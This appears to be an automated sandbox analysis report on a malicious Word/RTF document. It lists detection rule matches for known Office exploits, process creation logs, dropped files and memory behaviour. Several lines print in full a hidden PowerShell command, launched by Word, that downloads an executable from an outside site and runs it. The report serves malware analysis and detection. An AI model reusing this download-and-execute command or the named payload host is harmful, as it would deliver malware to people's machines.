Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\file.exe Jump to dropped file
Yara signature match
Source: TEPO0015922.doc, type: SAMPLE Matched rule: SUSP_INDICATOR_RTF_MalVer_Objects date = 2022-10-20, hash2 = a31da6c6a8a340901f764586a28bd5f11f6d2a60a38bf60acd844c906a0d44b1, author = ditekSHen, description = Detects RTF documents with non-standard version and embedding one of the object mostly observed in exploit (e.g. CVE-2017-11882) documents., score = 43812ca7f583e40b3e3e92ae90a7e935c87108fa863702aa9623c6b7dc3697a2, reference = https://github.com/ditekshen/detection
Source: TEPO0015922.doc, type: SAMPLE Matched rule: INDICATOR_RTF_Exploit_Scripting author = ditekSHen, description = detects CVE-2017-8759 or CVE-2017-8570 weaponized RTF documents.
Source: TEPO0015922.doc, type: SAMPLE Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: 0000000C.00000002.925602681.000000000016E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Suspicious_PowerShell_WebDownload_1 date = 2017-02-22, author = Florian Roth (Nextron Systems), description = Detects suspicious PowerShell code that downloads from web sites, nodeepdive = , score = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-07-27
Source: 0000000C.00000002.925602681.000000000016E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth (Nextron Systems), description = Detects PowerShell invocation with suspicious parameters, score = , reference = https://goo.gl/uAic1X, modified = 2022-09-15
Source: 00000006.00000002.912243758.0000000001CF6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Suspicious_PowerShell_WebDownload_1 date = 2017-02-22, author = Florian Roth (Nextron Systems), description = Detects suspicious PowerShell code that downloads from web sites, nodeepdive = , score = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-07-27
Source: 00000006.00000002.911999906.0000000000200000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Suspicious_PowerShell_WebDownload_1 date = 2017-02-22, author = Florian Roth (Nextron Systems), description = Detects suspicious PowerShell code that downloads from web sites, nodeepdive = , score = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-07-27
Source: 00000006.00000002.911999906.0000000000200000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth (Nextron Systems), description = Detects PowerShell invocation with suspicious parameters, score = , reference = https://goo.gl/uAic1X, modified = 2022-09-15
Source: 00000012.00000002.953185169.0000000000280000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Suspicious_PowerShell_WebDownload_1 date = 2017-02-22, author = Florian Roth (Nextron Systems), description = Detects suspicious PowerShell code that downloads from web sites, nodeepdive = , score = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-07-27
Source: 00000012.00000002.953185169.0000000000280000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth (Nextron Systems), description = Detects PowerShell invocation with suspicious parameters, score = , reference = https://goo.gl/uAic1X, modified = 2022-09-15
Source: 00000012.00000002.955614868.0000000001BD6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Suspicious_PowerShell_WebDownload_1 date = 2017-02-22, author = Florian Roth (Nextron Systems), description = Detects suspicious PowerShell code that downloads from web sites, nodeepdive = , score = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-07-27
Source: 0000000C.00000002.926137443.0000000001B46000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Suspicious_PowerShell_WebDownload_1 date = 2017-02-22, author = Florian Roth (Nextron Systems), description = Detects suspicious PowerShell code that downloads from web sites, nodeepdive = , score = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-07-27
Source: 0000000C.00000002.925602681.0000000000130000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Suspicious_PowerShell_WebDownload_1 date = 2017-02-22, author = Florian Roth (Nextron Systems), description = Detects suspicious PowerShell code that downloads from web sites, nodeepdive = , score = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-07-27
Source: 0000000C.00000002.925602681.0000000000130000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth (Nextron Systems), description = Detects PowerShell invocation with suspicious parameters, score = , reference = https://goo.gl/uAic1X, modified = 2022-09-15
Source: 00000006.00000002.911999906.000000000023E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Suspicious_PowerShell_WebDownload_1 date = 2017-02-22, author = Florian Roth (Nextron Systems), description = Detects suspicious PowerShell code that downloads from web sites, nodeepdive = , score = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-07-27
Source: 00000006.00000002.911999906.000000000023E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth (Nextron Systems), description = Detects PowerShell invocation with suspicious parameters, score = , reference = https://goo.gl/uAic1X, modified = 2022-09-15
Source: 00000012.00000002.953185169.00000000002BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Suspicious_PowerShell_WebDownload_1 date = 2017-02-22, author = Florian Roth (Nextron Systems), description = Detects suspicious PowerShell code that downloads from web sites, nodeepdive = , score = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-07-27
Source: 00000012.00000002.953185169.00000000002BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth (Nextron Systems), description = Detects PowerShell invocation with suspicious parameters, score = , reference = https://goo.gl/uAic1X, modified = 2022-09-15
Source: 0000000C.00000002.925602681.00000000001F5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Suspicious_PowerShell_WebDownload_1 date = 2017-02-22, author = Florian Roth (Nextron Systems), description = Detects suspicious PowerShell code that downloads from web sites, nodeepdive = , score = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-07-27
Source: 00000012.00000002.953185169.00000000002CF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Suspicious_PowerShell_WebDownload_1 date = 2017-02-22, author = Florian Roth (Nextron Systems), description = Detects suspicious PowerShell code that downloads from web sites, nodeepdive = , score = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-07-27
Source: 00000006.00000002.911999906.000000000024F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Suspicious_PowerShell_WebDownload_1 date = 2017-02-22, author = Florian Roth (Nextron Systems), description = Detects suspicious PowerShell code that downloads from web sites, nodeepdive = , score = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-07-27
Source: Process Memory Space: powershell.exe PID: 1568, type: MEMORYSTR Matched rule: Suspicious_PowerShell_WebDownload_1 date = 2017-02-22, author = Florian Roth (Nextron Systems), description = Detects suspicious PowerShell code that downloads from web sites, nodeepdive = , score = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-07-27
Source: Process Memory Space: powershell.exe PID: 1832, type: MEMORYSTR Matched rule: Suspicious_PowerShell_WebDownload_1 date = 2017-02-22, author = Florian Roth (Nextron Systems), description = Detects suspicious PowerShell code that downloads from web sites, nodeepdive = , score = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-07-27
Source: C:\Users\user\AppData\Roaming\file.exe, type: DROPPED Matched rule: SUSP_NullSoftInst_Combo_Oct20_1 date = 2020-10-06, hash3 = a9ca1d6a981ccc8d8b144f337c259891a67eb6b85ee41b03699baacf4aae9a78, hash2 = 93951379e57e4f159bb62fd7dd563d1ac2f3f23c80ba89f2da2e395b8a647dcf, author = Florian Roth (Nextron Systems), description = Detects suspicious NullSoft Installer combination with common Copyright strings, score = 686b5240e5e503528cc5ac8d764883413a260716dd290f114a60af873ee6a65f, reference = https://twitter.com/malwrhunterteam/status/1313023627177193472
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\file[1].exe, type: DROPPED Matched rule: SUSP_NullSoftInst_Combo_Oct20_1 date = 2020-10-06, hash3 = a9ca1d6a981ccc8d8b144f337c259891a67eb6b85ee41b03699baacf4aae9a78, hash2 = 93951379e57e4f159bb62fd7dd563d1ac2f3f23c80ba89f2da2e395b8a647dcf, author = Florian Roth (Nextron Systems), description = Detects suspicious NullSoft Installer combination with common Copyright strings, score = 686b5240e5e503528cc5ac8d764883413a260716dd290f114a60af873ee6a65f, reference = https://twitter.com/malwrhunterteam/status/1313023627177193472
Contains functionality to shutdown / reboot the system
Source: C:\Users\user\AppData\Roaming\file.exe Code function: 9_2_004033B3 EntryPoint,SetErrorMode,GetVersionExA,GetVersionExA,GetVersionExA,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 9_2_004033B3
Source: C:\Users\user\AppData\Roaming\file.exe Code function: 16_2_004033B3 EntryPoint,SetErrorMode,GetVersionExA,GetVersionExA,GetVersionExA,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 16_2_004033B3
Detected potential crypto function
Source: C:\Users\user\AppData\Roaming\file.exe Code function: 9_2_0040727F 9_2_0040727F
Source: C:\Users\user\AppData\Roaming\file.exe Code function: 9_2_00406AA8 9_2_00406AA8
Source: C:\Users\user\AppData\Roaming\file.exe Code function: 9_2_73C22288 9_2_73C22288
Source: C:\Users\user\AppData\Roaming\file.exe Code function: 16_2_0040727F 16_2_0040727F
Source: C:\Users\user\AppData\Roaming\file.exe Code function: 16_2_00406AA8 16_2_00406AA8
Source: C:\Users\user\AppData\Roaming\file.exe Code function: 16_2_73C32288 16_2_73C32288
Source: C:\Users\user\AppData\Roaming\file.exe Code function: 21_2_73BC2288 21_2_73BC2288
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Roaming\file.exe Code function: String function: 00402C39 appears 52 times
Document misses a certain OLE stream usually present in this Microsoft Office document type
Source: ~WRF{B63E613D-9211-4CF9-925B-159614833873}.tmp.0.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Abnormal high CPU Usage
Source: C:\Users\user\AppData\Roaming\file.exe Process Stats: CPU usage > 98%
PE file contains more sections than normal
Source: libgdk_pixbuf-2.0-0.dll.9.dr Static PE information: Number of sections : 12 > 10
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Users\user\AppData\Roaming\file.exe Memory allocated: 77620000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\file.exe Memory allocated: 77740000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\file.exe Memory allocated: 77620000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\file.exe Memory allocated: 77740000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\file.exe Memory allocated: 77620000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\file.exe Memory allocated: 77740000 page execute and read and write Jump to behavior
Source: TEPO0015922.doc ReversingLabs: Detection: 23%
Source: TEPO0015922.doc Virustotal: Detection: 42%
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..,.............p.......#.........-.......j.....p.........j.......e.....`Ig.......bw.....................Kn.......,.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .................B......#....................... ...............................................................H$G.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w..../.......u.r.i.n.g. .a. .W.e.b.C.l.i.e.n.t. .r.e.q.u.e.s.t..."...........0.!..............#G.....6.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w..../.................ek....................................}.dw....@.......0.!.............H$G.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....;.......A.t. .l.i.n.e.:.1. .c.h.a.r.:.4.7...............}.dw....P.......0.!..............#G.....".......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....;.................ek....................................}.dw............0.!.............H$G.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..,.............y=.w....G.................ek.....&G.............................}.dw....P.......0.!...............,.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....G.................ek....................................}.dw............0.!.............H$G.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..,.............y=.w....S.................ek.....&G.............................}.dw............0.!...............,.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....S.................ek....................................}.dw....(.......0.!.............H$G.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..,.............0.!....._.........................T..... .......................}.dw............ .................,.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w...._.................ek....................................}.dw.... .......0.!.............H$G.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..,.............y=.w....k.................ek.....&G.............................}.dw....X.......0.!...............,.....f.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....k.................ek....................................}.dw............0.!.............H$G.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................E.......w....... .........ek.....&G.............................}.dw.... .......0.!..............#G.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....w.................ek....................................}.dw....X.......0.!.............H$G.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................p.......#.................r.....p.........r.......m.....`Io.......bw.....................Kv.....................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .................B......#....................... ................................................................!..............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w..../.......u.r.i.n.g. .a. .W.e.b.C.l.i.e.n.t. .r.e.q.u.e.s.t..."...........0................!......6.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w..../..................k....................................}.dw............0................!..............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....;.......A.t. .l.i.n.e.:.1. .c.h.a.r.:.4.7...............}.dw.... .......0................!......".......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....;..................k....................................}.dw....X.......0................!..............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....G...............B..k....`$..............................}.dw.... .......0...............................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....G..................k....................................}.dw....X.......0................!..............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....S...............B..k....`$..............................}.dw............0...............................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....S..................k....x...............................}.dw............0................!..............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................0......._.......................x....... .......................}.dw............ ...............................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w...._..................k....p...............................}.dw............0................!..............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....k...............B..k....`$..............................}.dw....(.......0.......................f.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....k..................k....................................}.dw....`.......0................!..............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................E.~.....w....... .......B..k....`$..............................}.dw............0................!..............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.w....w..................k....................................}.dw....(.......0................!..............................
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httPs://thekaribacruisecompany.com/file.exe','C:\Users\user\AppData\Roaming\file.exe')
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httPs://thekaribacruisecompany.com/file.exe','C:\Users\user\AppData\Roaming\file.exe')
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C C:\Users\user\AppData\Roaming\file.exe
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Roaming\file.exe C:\Users\user\AppData\Roaming\file.exe
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httPs://thekaribacruisecompany.com/file.exe','C:\Users\user\AppData\Roaming\file.exe')
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httPs://thekaribacruisecompany.com/file.exe','C:\Users\user\AppData\Roaming\file.exe')
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C C:\Users\user\AppData\Roaming\file.exe
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httPs://thekaribacruisecompany.com/file.exe','C:\Users\user\AppData\Roaming\file.exe')
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Roaming\file.exe C:\Users\user\AppData\Roaming\file.exe
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httPs://thekaribacruisecompany.com/file.exe','C:\Users\user\AppData\Roaming\file.exe')
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C C:\Users\user\AppData\Roaming\file.exe
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Roaming\file.exe C:\Users\user\AppData\Roaming\file.exe
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\verclsid.exe "C:\Windows\system32\verclsid.exe" /S /C {06290BD2-48AA-11D2-8432-006008C3FBFC} /I {00000112-0000-0000-C000-000000000046} /X 0x5
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\notepad.exe C:\Windows\system32\NOTEPAD.EXE" "C:\Users\user\AppData\Local\Temp\FZdtfhgYgeghD .scT
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httPs://thekaribacruisecompany.com/file.exe','C:\Users\user\AppData\Roaming\file.exe') Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C C:\Users\user\AppData\Roaming\file.exe Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httPs://thekaribacruisecompany.com/file.exe','C:\Users\user\AppData\Roaming\file.exe') Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C C:\Users\user\AppData\Roaming\file.exe Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httPs://thekaribacruisecompany.com/file.exe','C:\Users\user\AppData\Roaming\file.exe') Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C C:\Users\user\AppData\Roaming\file.exe Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\verclsid.exe "C:\Windows\system32\verclsid.exe" /S /C {06290BD2-48AA-11D2-8432-006008C3FBFC} /I {00000112-0000-0000-C000-000000000046} /X 0x5 Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Windows\System32\notepad.exe C:\Windows\system32\NOTEPAD.EXE" "C:\Users\user\AppData\Local\Temp\FZdtfhgYgeghD .scT Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httPs://thekaribacruisecompany.com/file.exe','C:\Users\user\AppData\Roaming\file.exe') Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Roaming\file.exe C:\Users\user\AppData\Roaming\file.exe Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httPs://thekaribacruisecompany.com/file.exe','C:\Users\user\AppData\Roaming\file.exe')
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Roaming\file.exe C:\Users\user\AppData\Roaming\file.exe
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httPs://thekaribacruisecompany.com/file.exe','C:\Users\user\AppData\Roaming\file.exe')
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Roaming\file.exe C:\Users\user\AppData\Roaming\file.exe
Source: C:\Users\user\AppData\Roaming\file.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32 Jump to behavior
Source: TEPO0015922.LNK.0.dr LNK file: ..\..\..\..\..\Desktop\TEPO0015922.doc
Source: C:\Users\user\AppData\Roaming\file.exe Code function: 9_2_004033B3 EntryPoint,SetErrorMode,GetVersionExA,GetVersionExA,GetVersionExA,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 9_2_004033B3
Source: C:\Users\user\AppData\Roaming\file.exe Code function: 16_2_004033B3 EntryPoint,SetErrorMode,GetVersionExA,GetVersionExA,GetVersionExA,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 16_2_004033B3
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$PO0015922.doc Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVR63F0.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.expl.evad.winDOC@29/33@2/1
Source: C:\Users\user\AppData\Roaming\file.exe Code function: 9_2_00402173 CoCreateInstance,MultiByteToWideChar, 9_2_00402173
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\AppData\Roaming\file.exe Code function: 9_2_00404766 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA, 9_2_00404766
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
